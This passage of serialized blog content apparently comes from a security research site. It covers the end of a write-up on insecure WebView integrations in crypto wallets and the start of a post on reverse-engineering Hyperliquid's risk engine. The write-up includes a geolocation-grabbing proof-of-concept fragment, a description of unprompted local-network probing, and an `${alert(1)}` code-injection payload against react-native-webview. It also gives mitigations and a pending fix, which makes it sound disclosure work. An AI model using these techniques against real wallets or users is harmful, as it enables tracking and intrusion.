pic",{"type":24,"tag":930,"props":160449,"children":160450},{"style":1158},[160451],{"type":30,"value":436},{"type":24,"tag":930,"props":160453,"children":160454},{"style":1023},[160455],{"type":30,"value":35757},{"type":24,"tag":930,"props":160457,"children":160458},{"style":1158},[160459],{"type":30,"value":35999},{"type":24,"tag":930,"props":160461,"children":160462},{"style":1023},[160463],{"type":30,"value":160464},"URL",{"type":24,"tag":930,"props":160466,"children":160467},{"style":1158},[160468],{"type":30,"value":436},{"type":24,"tag":930,"props":160470,"children":160471},{"style":1002},[160472],{"type":30,"value":160473},"createObjectURL",{"type":24,"tag":930,"props":160475,"children":160476},{"style":1158},[160477],{"type":30,"value":1010},{"type":24,"tag":930,"props":160479,"children":160480},{"style":1023},[160481],{"type":30,"value":36036},{"type":24,"tag":930,"props":160483,"children":160484},{"style":1158},[160485],{"type":30,"value":1278},{"type":24,"tag":930,"props":160487,"children":160488},{"class":932,"line":1935},[160489],{"type":24,"tag":930,"props":160490,"children":160491},{"style":1158},[160492],{"type":30,"value":160493},"                });\n",{"type":24,"tag":930,"props":160495,"children":160496},{"class":932,"line":1943},[160497],{"type":24,"tag":930,"props":160498,"children":160499},{"emptyLinePlaceholder":16},[160500],{"type":30,"value":2412},{"type":24,"tag":930,"props":160502,"children":160503},{"class":932,"line":1955},[160504,160509,160513,160518,160522,160527,160531,160536,160540],{"type":24,"tag":930,"props":160505,"children":160506},{"style":1023},[160507],{"type":30,"value":160508},"                navigator",{"type":24,"tag":930,"props":160510,"children":160511},{"style":1158},[160512],{"type":30,"value":436},{"type":24,"tag":930,"props":160514,"children":160515},{"style":1023},[160516],{"type":30,"value":160517},"geolocation",{"type":24,"tag":930,"props":160519,"children":160520},{"style":1158},[160521],{"type":30,"value":436},{"type":24,"tag":930,"props":160523,"children":160524},{"style":1002},[160525],{"type":30,"value":160526},"getCurrentPosition",{"type":24,"tag":930,"props":160528,"children":160529},{"style":1158},[160530],{"type":30,"value":1010},{"type":24,"tag":930,"props":160532,"children":160533},{"style":1023},[160534],{"type":30,"value":160535},"pos",{"type":24,"tag":930,"props":160537,"children":160538},{"style":937},[160539],{"type":30,"value":30845},{"type":24,"tag":930,"props":160541,"children":160542},{"style":1158},[160543],{"type":30,"value":981},{"type":24,"tag":930,"props":160545,"children":160546},{"class":932,"line":1975},[160547,160552,160556,160560,160564,160568,160573],{"type":24,"tag":930,"props":160548,"children":160549},{"style":937},[160550],{"type":30,"value":160551},"                    const",{"type":24,"tag":930,"props":160553,"children":160554},{"style":1023},[160555],{"type":30,"value":40533},{"type":24,"tag":930,"props":160557,"children":160558},{"style":1158},[160559],{"type":30,"value":35999},{"type":24,"tag":930,"props":160561,"children":160562},{"style":1023},[160563],{"type":30,"value":160535},{"type":24,"tag":930,"props":160565,"children":160566},{"style":1158},[160567],{"type":30,"value":436},{"type":24,"tag":930,"props":160569,"children":160570},{"style":1023},[160571],{"type":30,"value":160572},"coords",{"type":24,"tag":930,"props":160574,"children":160575},{"style":1158},[160576],{"type":30,"value":5539},{"type":24,"tag":930,"props":160578,"children":160579},{"class":932,"line":1995},[160580,160585,160589,160593,160597,160602,160606,160610,160614,160619,160623,160628,160632,160636,160640,160644,160648,160653,160657,160661,160665,160670,160674,160678,160682,160686,160690,160694,160698],{"type":24,"tag":930,"props":160581,"children":160582},{"style":1023},[160583],{"type":30,"value":160584},"                    gps",{"type":24,"tag":930,"props":160586,"children":160587},{"style":1158},[160588],{"type":30,"value":436},{"type":24,"tag":930,"props":160590,"children":160591},{"style":1023},[160592],{"type":30,"value":38053},{"type":24,"tag":930,"props":160594,"children":160595},{"style":1158},[160596],{"type":30,"value":35999},{"type":24,"tag":930,"props":160598,"children":160599},{"style":1270},[160600],{"type":30,"value":160601},"`Lat: ",{"type":24,"tag":930,"props":160603,"children":160604},{"style":937},[160605],{"type":30,"value":37197},{"type":24,"tag":930,"props":160607,"children":160608},{"style":1023},[160609],{"type":30,"value":6268},{"type":24,"tag":930,"props":160611,"children":160612},{"style":1158},[160613],{"type":30,"value":436},{"type":24,"tag":930,"props":160615,"children":160616},{"style":1023},[160617],{"type":30,"value":160618},"latitude",{"type":24,"tag":930,"props":160620,"children":160621},{"style":1158},[160622],{"type":30,"value":436},{"type":24,"tag":930,"props":160624,"children":160625},{"style":1002},[160626],{"type":30,"value":160627},"toFixed",{"type":24,"tag":930,"props":160629,"children":160630},{"style":1158},[160631],{"type":30,"value":1010},{"type":24,"tag":930,"props":160633,"children":160634},{"style":1242},[160635],{"type":30,"value":7129},{"type":24,"tag":930,"props":160637,"children":160638},{"style":1158},[160639],{"type":30,"value":6249},{"type":24,"tag":930,"props":160641,"children":160642},{"style":937},[160643],{"type":30,"value":37229},{"type":24,"tag":930,"props":160645,"children":160646},{"style":51463},[160647],{"type":30,"value":51466},{"type":24,"tag":930,"props":160649,"children":160650},{"style":1270},[160651],{"type":30,"value":160652},"Lon: ",{"type":24,"tag":930,"props":160654,"children":160655},{"style":937},[160656],{"type":30,"value":37197},{"type":24,"tag":930,"props":160658,"children":160659},{"style":1023},[160660],{"type":30,"value":6268},{"type":24,"tag":930,"props":160662,"children":160663},{"style":1158},[160664],{"type":30,"value":436},{"type":24,"tag":930,"props":160666,"children":160667},{"style":1023},[160668],{"type":30,"value":160669},"longitude",{"type":24,"tag":930,"props":160671,"children":160672},{"style":1158},[160673],{"type":30,"value":436},{"type":24,"tag":930,"props":160675,"children":160676},{"style":1002},[160677],{"type":30,"value":160627},{"type":24,"tag":930,"props":160679,"children":160680},{"style":1158},[160681],{"type":30,"value":1010},{"type":24,"tag":930,"props":160683,"children":160684},{"style":1242},[160685],{"type":30,"value":7129},{"type":24,"tag":930,"props":160687,"children":160688},{"style":1158},[160689],{"type":30,"value":6249},{"type":24,"tag":930,"props":160691,"children":160692},{"style":937},[160693],{"type":30,"value":37229},{"type":24,"tag":930,"props":160695,"children":160696},{"style":1270},[160697],{"type":30,"value":13489},{"type":24,"tag":930,"props":160699,"children":160700},{"style":1158},[160701],{"type":30,"value":5539},{"type":24,"tag":930,"props":160703,"children":160704},{"class":932,"line":2061},[160705,160710,160714,160718,160723,160727,160731],{"type":24,"tag":930,"props":160706,"children":160707},{"style":1158},[160708],{"type":30,"value":160709},"                }, ",{"type":24,"tag":930,"props":160711,"children":160712},{"style":1023},[160713],{"type":30,"value":51509},{"type":24,"tag":930,"props":160715,"children":160716},{"style":937},[160717],{"type":30,"value":30845},{"type":24,"tag":930,"props":160719,"children":160720},{"style":1002},[160721],{"type":30,"value":160722}," alert",{"type":24,"tag":930,"props":160724,"children":160725},{"style":1158},[160726],{"type":30,"value":1010},{"type":24,"tag":930,"props":160728,"children":160729},{"style":1023},[160730],{"type":30,"value":51509},{"type":24,"tag":930,"props":160732,"children":160733},{"style":1158},[160734],{"type":30,"value":2058},{"type":24,"tag":930,"props":160736,"children":160737},{"class":932,"line":2085},[160738],{"type":24,"tag":930,"props":160739,"children":160740},{"style":1158},[160741],{"type":30,"value":51164},{"type":24,"tag":930,"props":160743,"children":160744},{"class":932,"line":2119},[160745],{"type":24,"tag":930,"props":160746,"children":160747},{"emptyLinePlaceholder":16},[160748],{"type":30,"value":2412},{"type":24,"tag":930,"props":160750,"children":160751},{"class":932,"line":2135},[160752],{"type":24,"tag":930,"props":160753,"children":160754},{"style":1158},[160755],{"type":30,"value":1831},{"type":24,"tag":930,"props":160757,"children":160758},{"class":932,"line":2171},[160759,160764],{"type":24,"tag":930,"props":160760,"children":160761},{"style":1002},[160762],{"type":30,"value":160763},"        main",{"type":24,"tag":930,"props":160765,"children":160766},{"style":1158},[160767],{"type":30,"value":1310},{"type":24,"tag":930,"props":160769,"children":160770},{"class":932,"line":2180},[160771,160775,160779],{"type":24,"tag":930,"props":160772,"children":160773},{"style":35464},[160774],{"type":30,"value":35916},{"type":24,"tag":930,"props":160776,"children":160777},{"style":937},[160778],{"type":30,"value":35504},{"type":24,"tag":930,"props":160780,"children":160781},{"style":35464},[160782],{"type":30,"value":9105},{"type":24,"tag":930,"props":160784,"children":160785},{"class":932,"line":2220},[160786,160790,160794],{"type":24,"tag":930,"props":160787,"children":160788},{"style":35464},[160789],{"type":30,"value":35518},{"type":24,"tag":930,"props":160791,"children":160792},{"style":937},[160793],{"type":30,"value":35488},{"type":24,"tag":930,"props":160795,"children":160796},{"style":35464},[160797],{"type":30,"value":9105},{"type":24,"tag":930,"props":160799,"children":160800},{"class":932,"line":2246},[160801,160805,160809],{"type":24,"tag":930,"props":160802,"children":160803},{"style":35464},[160804],{"type":30,"value":35518},{"type":24,"tag":930,"props":160806,"children":160807},{"style":937},[160808],{"type":30,"value":35471},{"type":24,"tag":930,"props":160810,"children":160811},{"style":35464},[160812],{"type":30,"value":9105},{"type":24,"tag":21995,"props":160814,"children":160815},{"id":7343},[160816],{"type":30,"value":7346},{"type":24,"tag":33,"props":160818,"children":160819},{},[160820],{"type":30,"value":160821},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":33,"props":160823,"children":160824},{},[160825,160827,160833],{"type":30,"value":160826},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":37,"props":160828,"children":160831},{"href":160829,"rel":160830},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[41],[160832],{"type":30,"value":50674},{"type":30,"value":436},{"type":24,"tag":34438,"props":160835,"children":160836},{"style":34440},[160837],{"type":24,"tag":140,"props":160838,"children":160842},{"src":160839,"alt":160840,"style":160841},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":33,"props":160844,"children":160845},{},[160846],{"type":30,"value":160847},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":68,"props":160849,"children":160851},{"id":160850},"local-network-access",[160852],{"type":30,"value":160853},"Local Network Access",{"type":24,"tag":33,"props":160855,"children":160856},{},[160857,160859,160866,160868,160874],{"type":30,"value":160858},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":37,"props":160860,"children":160863},{"href":160861,"rel":160862},"https://wicg.github.io/private-network-access/",[41],[160864],{"type":30,"value":160865},"Private Network Access",{"type":30,"value":160867}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":37,"props":160869,"children":160872},{"href":160870,"rel":160871},"https://x.com/taviso/status/2051310678800253318",[41],[160873],{"type":30,"value":160870},{"type":30,"value":160875},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":34438,"props":160877,"children":160878},{"style":34440},[160879],{"type":24,"tag":140,"props":160880,"children":160883},{"src":160881,"alt":160840,"style":160882},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":33,"props":160885,"children":160886},{},[160887],{"type":30,"value":160888},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":160890,"props":160891,"children":160894},"zoom-image",{"src":160892,"alt":160893},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":33,"props":160896,"children":160897},{},[160898],{"type":30,"value":160899},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":96,"props":160901,"children":160902},{},[160903,160908,160913],{"type":24,"tag":100,"props":160904,"children":160905},{},[160906],{"type":30,"value":160907},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":100,"props":160909,"children":160910},{},[160911],{"type":30,"value":160912},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":100,"props":160914,"children":160915},{},[160916],{"type":30,"value":160917},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":33,"props":160919,"children":160920},{},[160921],{"type":30,"value":160922},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":68,"props":160924,"children":160926},{"id":160925},"uxss-by-code-injection",[160927],{"type":30,"value":160928},"UXSS by Code Injection",{"type":24,"tag":33,"props":160930,"children":160931},{},[160932,160934,160940],{"type":30,"value":160933},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":156,"props":160935,"children":160937},{"className":160936},[],[160938],{"type":30,"value":160939},"injectJavascriptObject",{"type":30,"value":160941}," attribute worked. Here is the code snippet:",{"type":24,"tag":920,"props":160943,"children":160945},{"className":159181,"code":160944,"language":159183,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      }\n",[160946],{"type":24,"tag":156,"props":160947,"children":160948},{"__ignoreMap":7},[160949,160969,160998,161032,161087,161192,161204,161217],{"type":24,"tag":930,"props":160950,"children":160951},{"class":932,"line":933},[160952,160956,160960,160965],{"type":24,"tag":930,"props":160953,"children":160954},{"style":937},[160955],{"type":30,"value":73867},{"type":24,"tag":930,"props":160957,"children":160958},{"style":943},[160959],{"type":30,"value":54138},{"type":24,"tag":930,"props":160961,"children":160962},{"style":1002},[160963],{"type":30,"value":160964}," injectJavascriptObject",{"type":24,"tag":930,"props":160966,"children":160967},{"style":959},[160968],{"type":30,"value":18839},{"type":24,"tag":930,"props":160970,"children":160971},{"class":932,"line":984},[160972,160976,160980,160985,160989,160994],{"type":24,"tag":930,"props":160973,"children":160974},{"style":1079},[160975],{"type":30,"value":42374},{"type":24,"tag":930,"props":160977,"children":160978},{"style":959},[160979],{"type":30,"value":1087},{"type":24,"tag":930,"props":160981,"children":160982},{"style":1002},[160983],{"type":30,"value":160984},"getSettings",{"type":24,"tag":930,"props":160986,"children":160987},{"style":959},[160988],{"type":30,"value":33259},{"type":24,"tag":930,"props":160990,"children":160991},{"style":1002},[160992],{"type":30,"value":160993},"getJavaScriptEnabled",{"type":24,"tag":930,"props":160995,"children":160996},{"style":959},[160997],{"type":30,"value":95086},{"type":24,"tag":930,"props":160999,"children":161000},{"class":932,"line":993},[161001,161006,161011,161015,161020,161024,161028],{"type":24,"tag":930,"props":161002,"children":161003},{"style":943},[161004],{"type":30,"value":161005},"        String",{"type":24,"tag":930,"props":161007,"children":161008},{"style":1023},[161009],{"type":30,"value":161010}," js",{"type":24,"tag":930,"props":161012,"children":161013},{"style":1158},[161014],{"type":30,"value":6137},{"type":24,"tag":930,"props":161016,"children":161017},{"style":1270},[161018],{"type":30,"value":161019}," \"(function(){",{"type":24,"tag":930,"props":161021,"children":161022},{"style":51463},[161023],{"type":30,"value":51466},{"type":24,"tag":930,"props":161025,"children":161026},{"style":1270},[161027],{"type":30,"value":23163},{"type":24,"tag":930,"props":161029,"children":161030},{"style":1158},[161031],{"type":30,"value":12895},{"type":24,"tag":930,"props":161033,"children":161034},{"class":932,"line":1057},[161035,161040,161044,161049,161053,161058,161062,161066,161070,161075,161079,161083],{"type":24,"tag":930,"props":161036,"children":161037},{"style":1270},[161038],{"type":30,"value":161039},"          \"    window.\"",{"type":24,"tag":930,"props":161041,"children":161042},{"style":1158},[161043],{"type":30,"value":12014},{"type":24,"tag":930,"props":161045,"children":161046},{"style":959},[161047],{"type":30,"value":161048}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":930,"props":161050,"children":161051},{"style":1158},[161052],{"type":30,"value":1400},{"type":24,"tag":930,"props":161054,"children":161055},{"style":1270},[161056],{"type":30,"value":161057}," \" = window.\"",{"type":24,"tag":930,"props":161059,"children":161060},{"style":1158},[161061],{"type":30,"value":12014},{"type":24,"tag":930,"props":161063,"children":161064},{"style":959},[161065],{"type":30,"value":161048},{"type":24,"tag":930,"props":161067,"children":161068},{"style":1158},[161069],{"type":30,"value":1400},{"type":24,"tag":930,"props":161071,"children":161072},{"style":1270},[161073],{"type":30,"value":161074}," \" || {};",{"type":24,"tag":930,"props":161076,"children":161077},{"style":51463},[161078],{"type":30,"value":51466},{"type":24,"tag":930,"props":161080,"children":161081},{"style":1270},[161082],{"type":30,"value":23163},{"type":24,"tag":930,"props":161084,"children":161085},{"style":1158},[161086],{"type":30,"value":12895},{"type":24,"tag":930,"props":161088,"children":161089},{"class":932,"line":1066},[161090,161094,161098,161102,161106,161111,161115,161120,161124,161128,161132,161136,161140,161144,161149,161153,161158,161162,161167,161171,161175,161180,161184,161188],{"type":24,"tag":930,"props":161091,"children":161092},{"style":1270},[161093],{"type":30,"value":161039},{"type":24,"tag":930,"props":161095,"children":161096},{"style":1158},[161097],{"type":30,"value":12014},{"type":24,"tag":930,"props":161099,"children":161100},{"style":959},[161101],{"type":30,"value":161048},{"type":24,"tag":930,"props":161103,"children":161104},{"style":1158},[161105],{"type":30,"value":1400},{"type":24,"tag":930,"props":161107,"children":161108},{"style":1270},[161109],{"type":30,"value":161110}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":930,"props":161112,"children":161113},{"style":1158},[161114],{"type":30,"value":12014},{"type":24,"tag":930,"props":161116,"children":161117},{"style":959},[161118],{"type":30,"value":161119}," (injectedJavaScriptObject ",{"type":24,"tag":930,"props":161121,"children":161122},{"style":1158},[161123],{"type":30,"value":1239},{"type":24,"tag":930,"props":161125,"children":161126},{"style":937},[161127],{"type":30,"value":73354},{"type":24,"tag":930,"props":161129,"children":161130},{"style":1079},[161131],{"type":30,"value":101105},{"type":24,"tag":930,"props":161133,"children":161134},{"style":937},[161135],{"type":30,"value":73354},{"type":24,"tag":930,"props":161137,"children":161138},{"style":1079},[161139],{"type":30,"value":38205},{"type":24,"tag":930,"props":161141,"children":161142},{"style":959},[161143],{"type":30,"value":1087},{"type":24,"tag":930,"props":161145,"children":161146},{"style":1270},[161147],{"type":30,"value":161148},"\"`\"",{"type":24,"tag":930,"props":161150,"children":161151},{"style":1158},[161152],{"type":30,"value":12014},{"type":24,"tag":930,"props":161154,"children":161155},{"style":959},[161156],{"type":30,"value":161157}," injectedJavaScriptObject ",{"type":24,"tag":930,"props":161159,"children":161160},{"style":1158},[161161],{"type":30,"value":1400},{"type":24,"tag":930,"props":161163,"children":161164},{"style":1270},[161165],{"type":30,"value":161166}," \"`\"",{"type":24,"tag":930,"props":161168,"children":161169},{"style":959},[161170],{"type":30,"value":11946},{"type":24,"tag":930,"props":161172,"children":161173},{"style":1158},[161174],{"type":30,"value":1400},{"type":24,"tag":930,"props":161176,"children":161177},{"style":1270},[161178],{"type":30,"value":161179}," \"; };",{"type":24,"tag":930,"props":161181,"children":161182},{"style":51463},[161183],{"type":30,"value":51466},{"type":24,"tag":930,"props":161185,"children":161186},{"style":1270},[161187],{"type":30,"value":23163},{"type":24,"tag":930,"props":161189,"children":161190},{"style":1158},[161191],{"type":30,"value":12895},{"type":24,"tag":930,"props":161193,"children":161194},{"class":932,"line":1075},[161195,161200],{"type":24,"tag":930,"props":161196,"children":161197},{"style":1270},[161198],{"type":30,"value":161199},"          \"})();\"",{"type":24,"tag":930,"props":161201,"children":161202},{"style":959},[161203],{"type":30,"value":5539},{"type":24,"tag":930,"props":161205,"children":161206},{"class":932,"line":1122},[161207,161212],{"type":24,"tag":930,"props":161208,"children":161209},{"style":1002},[161210],{"type":30,"value":161211},"        evaluateJavascriptWithFallback",{"type":24,"tag":930,"props":161213,"children":161214},{"style":959},[161215],{"type":30,"value":161216},"(js);\n",{"type":24,"tag":930,"props":161218,"children":161219},{"class":932,"line":1131},[161220],{"type":24,"tag":930,"props":161221,"children":161222},{"style":959},[161223],{"type":30,"value":15771},{"type":24,"tag":33,"props":161225,"children":161226},{},[161227,161229,161235,161237,161242,161244,161250],{"type":30,"value":161228},"It basically injects a javascript code with the ",{"type":24,"tag":156,"props":161230,"children":161232},{"className":161231},[],[161233],{"type":30,"value":161234},"injectedJavascriptObject",{"type":30,"value":161236}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":156,"props":161238,"children":161240},{"className":161239},[],[161241],{"type":30,"value":161234},{"type":30,"value":161243},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":156,"props":161245,"children":161247},{"className":161246},[],[161248],{"type":30,"value":161249},"${alert(1)}",{"type":30,"value":161251}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":33,"props":161253,"children":161254},{},[161255,161257,161264],{"type":30,"value":161256},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":37,"props":161258,"children":161261},{"href":161259,"rel":161260},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[41],[161262],{"type":30,"value":161263},"PR with the report and fix",{"type":30,"value":436},{"type":24,"tag":33,"props":161266,"children":161267},{},[161268],{"type":30,"value":161269},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":33,"props":161271,"children":161272},{},[161273,161275,161281],{"type":30,"value":161274},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":156,"props":161276,"children":161278},{"className":161277},[],[161279],{"type":30,"value":161280},"injectedJavaScriptObject",{"type":30,"value":161282}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":151,"props":161284,"children":161285},{"id":5876},[161286],{"type":30,"value":5879},{"type":24,"tag":33,"props":161288,"children":161289},{},[161290],{"type":30,"value":161291},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":5957,"props":161293,"children":161294},{},[161295],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":161297},[161298,161302,161305,161306],{"id":159021,"depth":984,"text":159024,"children":161299},[161300,161301],{"id":159032,"depth":993,"text":159035},{"id":159107,"depth":993,"text":159110},{"id":159140,"depth":984,"text":159143,"children":161303},[161304],{"id":159330,"depth":993,"text":159333},{"id":160850,"depth":984,"text":160853},{"id":160925,"depth":984,"text":160928,"children":161307},[161308],{"id":5876,"depth":993,"text":5879},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":161313,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":161314,"description":161315,"date":161316,"author":161317,"image":161318,"isFeatured":16,"onBlogPage":16,"tags":161322,"hideToc":16,"body":161326,"_type":5983,"_id":167965,"_source":5985,"_file":167966,"_stem":167967,"_extension":5988},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":161319,"width":161320,"height":161321},"/posts/hyperliquid-risk-engine/title.png",1456,816,[161323,161324,161325],"hyperliquid","reverse-engineering","defi",{"type":21,"children":161327,"toc":167937},[161328,161334,161342,161347,161352,161357,161369,161374,161387,161406,161412,161424,161437,161442,161473,161478,161491,161496,161687,161693,161698,161710,161716,161721,161727,161740,161774,161779,161784,161796,161802,161822,161830,161843,161849,161860,161866,161878,161883,161889,161909,161917,161923,161957,161961,161997,162002,162007,162012,162025,162062,162067,162081,162087,162092,162118,162126,162131,162159,162164,162169,162507,162512,162517,162537,162564,162569,162582,162594,162599,162604,162610,162615,162620,162634,162639,162645,162673,162710,162721,162725,162730,162735,162741,162907,162942,162947,162953,162959,163148,163161,163166,163172,163193,163198,163204,163209,163214,163226,163231,163236,163242,163247,163252,163258,163264,163277,163310,163315,165891,166159,166164,167494,167499,167504,167516,167607,167619,167624,167630,167635,167643,167648,167656,167662,167696,167707,167715,167721,167727,167732,167740,167745,167750,167758,167770,167776,167781,167787,167798,167803,167809,167814,167819,167825,167830,167833,167838,167843,167849,167854,167866,167871,167876],{"type":24,"tag":68,"props":161329,"children":161331},{"id":161330},"perpetuals",[161332],{"type":30,"value":161333},"Perpetuals",{"type":24,"tag":6054,"props":161335,"children":161336},{},[161337],{"type":24,"tag":33,"props":161338,"children":161339},{},[161340],{"type":30,"value":161341},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":33,"props":161343,"children":161344},{},[161345],{"type":30,"value":161346},"What does that even have to do with reverse engineering?",{"type":24,"tag":68,"props":161348,"children":161349},{"id":161323},[161350],{"type":30,"value":161351},"Hyperliquid",{"type":24,"tag":33,"props":161353,"children":161354},{},[161355],{"type":30,"value":161356},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":33,"props":161358,"children":161359},{},[161360,161362,161367],{"type":30,"value":161361},"The node is tasked with a ",{"type":24,"tag":6032,"props":161363,"children":161364},{},[161365],{"type":30,"value":161366},"very hard problem",{"type":30,"value":161368},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":33,"props":161370,"children":161371},{},[161372],{"type":30,"value":161373},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":33,"props":161375,"children":161376},{},[161377,161379,161385],{"type":30,"value":161378},"Beyond that, the ",{"type":24,"tag":156,"props":161380,"children":161382},{"className":161381},[],[161383],{"type":30,"value":161384},"hl-node",{"type":30,"value":161386}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":33,"props":161388,"children":161389},{},[161390,161392,161397,161399,161404],{"type":30,"value":161391},"Armed with some curiosity, a good amount of ",{"type":24,"tag":6032,"props":161393,"children":161394},{},[161395],{"type":30,"value":161396},"inference",{"type":30,"value":161398},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":6032,"props":161400,"children":161401},{},[161402],{"type":30,"value":161403},"interactive interface",{"type":30,"value":161405},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":68,"props":161407,"children":161409},{"id":161408},"the-million-dollar-question",[161410],{"type":30,"value":161411},"The Million Dollar Question",{"type":24,"tag":33,"props":161413,"children":161414},{},[161415,161417,161422],{"type":30,"value":161416},"Let's say a terrible trader opens a ",{"type":24,"tag":6032,"props":161418,"children":161419},{},[161420],{"type":30,"value":161421},"50x",{"type":30,"value":161423}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":33,"props":161425,"children":161426},{},[161427,161429,161435],{"type":30,"value":161428},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":156,"props":161430,"children":161432},{"className":161431},[],[161433],{"type":30,"value":161434},"compute_margin_requirement_by_mode",{"type":30,"value":161436}," function.",{"type":24,"tag":33,"props":161438,"children":161439},{},[161440],{"type":30,"value":161441},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":161443,"props":161444,"children":161445},"tip",{},[161446],{"type":24,"tag":33,"props":161447,"children":161448},{},[161449,161451,161456,161458,161465,161467,161472],{"type":30,"value":161450},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":6032,"props":161452,"children":161453},{},[161454],{"type":30,"value":161455},"click through",{"type":30,"value":161457}," each action performed by ",{"type":24,"tag":37,"props":161459,"children":161462},{"href":161460,"rel":161461},"https://github.com/renato-osec/patina-research",[41],[161463],{"type":30,"value":161464},"our Rust reverse engineering agent",{"type":30,"value":161466},". Return to the regular view by clicking ",{"type":24,"tag":156,"props":161468,"children":161470},{"className":161469},[],[161471],{"type":30,"value":9100},{"type":30,"value":436},{"type":24,"tag":161474,"props":161475,"children":161477},"bndb-viewer-embed",{"addr":161476,"line-start":7129,"line-end":136982},"0x555556bb4d20",[],{"type":24,"tag":33,"props":161479,"children":161480},{},[161481,161483,161489],{"type":30,"value":161482},"The 